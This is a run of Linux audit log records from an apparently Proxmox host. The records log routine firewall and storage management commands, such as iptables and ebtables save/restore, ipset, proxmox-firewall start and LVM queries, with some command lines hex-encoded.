{"@timestamp":1781965714047,"@rawstring":"node=pve type=PATH msg=audit(1781965714.047:66776): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.050:66931): proctitle=\"iptables-save\""} {"@timestamp":1781965714047,"@rawstring":"node=pve type=PATH msg=audit(1781965714.047:66775): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.043:66930): proctitle=\"ip6tables-save\""} {"@timestamp":1781965714038,"@rawstring":"node=pve type=PATH msg=audit(1781965714.038:66774): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746035,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.035:66929): proctitle=\"iptables-save\""} {"@timestamp":1781965714038,"@rawstring":"node=pve type=PATH msg=audit(1781965714.038:66774): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714037,"@rawstring":"node=pve type=PATH msg=audit(1781965714.037:66773): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746032,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.032:66928): proctitle=\"ebtables-restore\""} {"@timestamp":1781965714037,"@rawstring":"node=pve type=PATH msg=audit(1781965714.037:66772): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.029:66927): proctitle=\"ebtables-restore\""} {"@timestamp":1781965709029,"@rawstring":"node=pve type=PATH msg=audit(1781965709.029:66771): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.022:66926): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965709029,"@rawstring":"node=pve type=PATH msg=audit(1781965709.029:66771): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.015:66925): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965709029,"@rawstring":"node=pve type=PATH msg=audit(1781965709.029:66770): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.007:66924): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965709029,"@rawstring":"node=pve type=PATH msg=audit(1781965709.029:66769): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.999:66923): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965709023,"@rawstring":"node=pve type=PATH msg=audit(1781965709.023:66768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.993:66922): proctitle=697073657400726573746F7265"} {"@timestamp":1781965709023,"@rawstring":"node=pve type=PATH msg=audit(1781965709.023:66768): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.985:66921): proctitle=\"ip6tables-save\""} {"@timestamp":1781965709023,"@rawstring":"node=pve type=PATH msg=audit(1781965709.023:66767): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.977:66920): proctitle=\"iptables-save\""} {"@timestamp":1781965709023,"@rawstring":"node=pve type=PATH msg=audit(1781965709.023:66766): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.972:66919): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965708796,"@rawstring":"node=pve type=PATH msg=audit(1781965708.796:66765): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.969:66918): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965708796,"@rawstring":"node=pve type=PATH msg=audit(1781965708.796:66765): item=0 name=\"/usr/bin/tar\" inode=260979 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.968:66917): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705367,"@rawstring":"node=pve type=PATH msg=audit(1781965705.367:66764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.968:66916): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705367,"@rawstring":"node=pve type=PATH msg=audit(1781965705.367:66764): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.964:66915): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705364,"@rawstring":"node=pve type=PATH msg=audit(1781965705.364:66763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.954:66914): proctitle=\"ip6tables-save\""} {"@timestamp":1781965705364,"@rawstring":"node=pve type=PATH msg=audit(1781965705.364:66763): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.946:66913): proctitle=\"iptables-save\""} {"@timestamp":1781965705363,"@rawstring":"node=pve type=PATH msg=audit(1781965705.363:66762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.939:66912): proctitle=69707365740073617665"} {"@timestamp":1781965705363,"@rawstring":"node=pve type=PATH msg=audit(1781965705.363:66762): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.930:66911): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965705362,"@rawstring":"node=pve type=PATH msg=audit(1781965705.362:66761): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965745920,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965745.920:66910): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965705358,"@rawstring":"node=pve type=PATH msg=audit(1781965705.358:66760): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.544:66909): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965705358,"@rawstring":"node=pve type=PATH msg=audit(1781965705.358:66760): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.511:66908): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965705358,"@rawstring":"node=pve type=PATH msg=audit(1781965705.358:66760): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.148:66907): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705350,"@rawstring":"node=pve type=PATH msg=audit(1781965705.350:66759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.148:66906): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705350,"@rawstring":"node=pve type=PATH msg=audit(1781965705.350:66759): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.148:66905): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705339,"@rawstring":"node=pve type=PATH msg=audit(1781965705.339:66758): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.139:66904): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705339,"@rawstring":"node=pve type=PATH msg=audit(1781965705.339:66758): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.139:66903): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705334,"@rawstring":"node=pve type=PATH msg=audit(1781965705.334:66757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965744139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965744.139:66902): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705334,"@rawstring":"node=pve type=PATH msg=audit(1781965705.334:66757): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965739132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965739.132:66901): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705324,"@rawstring":"node=pve type=PATH msg=audit(1781965705.324:66756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965739132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965739.132:66900): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705324,"@rawstring":"node=pve type=PATH msg=audit(1781965705.324:66756): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965739132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965739.132:66899): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705316,"@rawstring":"node=pve type=PATH msg=audit(1781965705.316:66754): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965739124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965739.124:66898): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705316,"@rawstring":"node=pve type=PATH msg=audit(1781965705.316:66754): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965739124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965739.124:66897): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705309,"@rawstring":"node=pve type=PATH msg=audit(1781965705.309:66753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965739124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965739.124:66896): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965705309,"@rawstring":"node=pve type=PATH msg=audit(1781965705.309:66753): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735908,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.908:66895): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965705302,"@rawstring":"node=pve type=PATH msg=audit(1781965705.302:66752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.904:66894): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965705302,"@rawstring":"node=pve type=PATH msg=audit(1781965705.302:66752): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.904:66893): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705294,"@rawstring":"node=pve type=PATH msg=audit(1781965705.294:66751): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.904:66892): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705294,"@rawstring":"node=pve type=PATH msg=audit(1781965705.294:66751): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.899:66891): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705286,"@rawstring":"node=pve type=PATH msg=audit(1781965705.286:66750): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735893,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.893:66890): proctitle=\"ip6tables-save\""} {"@timestamp":1781965705286,"@rawstring":"node=pve type=PATH msg=audit(1781965705.286:66750): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735885,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.885:66889): proctitle=\"iptables-save\""} {"@timestamp":1781965705282,"@rawstring":"node=pve type=PATH msg=audit(1781965705.282:66749): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.877:66888): proctitle=\"ip6tables-save\""} {"@timestamp":1781965705282,"@rawstring":"node=pve type=PATH msg=audit(1781965705.282:66749): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.868:66887): proctitle=\"iptables-save\""} {"@timestamp":1781965705273,"@rawstring":"node=pve type=PATH msg=audit(1781965705.273:66748): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.864:66886): proctitle=\"ebtables-restore\""} {"@timestamp":1781965705273,"@rawstring":"node=pve type=PATH msg=audit(1781965705.273:66748): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.862:66885): proctitle=\"ebtables-restore\""} {"@timestamp":1781965705264,"@rawstring":"node=pve type=PATH msg=audit(1781965705.264:66747): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.855:66884): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965705264,"@rawstring":"node=pve type=PATH msg=audit(1781965705.264:66747): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.847:66883): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965705260,"@rawstring":"node=pve type=PATH msg=audit(1781965705.260:66746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.840:66882): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965705260,"@rawstring":"node=pve type=PATH msg=audit(1781965705.260:66746): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.833:66881): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965705255,"@rawstring":"node=pve type=PATH msg=audit(1781965705.255:66745): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.828:66880): proctitle=697073657400726573746F7265"} {"@timestamp":1781965705255,"@rawstring":"node=pve type=PATH msg=audit(1781965705.255:66745): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.819:66879): proctitle=\"ip6tables-save\""} {"@timestamp":1781965705255,"@rawstring":"node=pve type=PATH msg=audit(1781965705.255:66744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.812:66878): proctitle=\"iptables-save\""} {"@timestamp":1781965705255,"@rawstring":"node=pve type=PATH msg=audit(1781965705.255:66744): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.807:66877): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965705253,"@rawstring":"node=pve type=PATH msg=audit(1781965705.253:66743): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.804:66876): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965705249,"@rawstring":"node=pve type=PATH msg=audit(1781965705.249:66742): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.803:66875): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705249,"@rawstring":"node=pve type=PATH msg=audit(1781965705.249:66742): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.803:66874): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705249,"@rawstring":"node=pve type=PATH msg=audit(1781965705.249:66742): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.799:66873): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965705241,"@rawstring":"node=pve type=PATH msg=audit(1781965705.241:66741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965735791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965735.791:66872): proctitle=\"ip6tables-save\""} {"@timestamp":1781965705241,"@rawstring":"node=pve type=PATH msg=audit(1781965705.241:66741): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 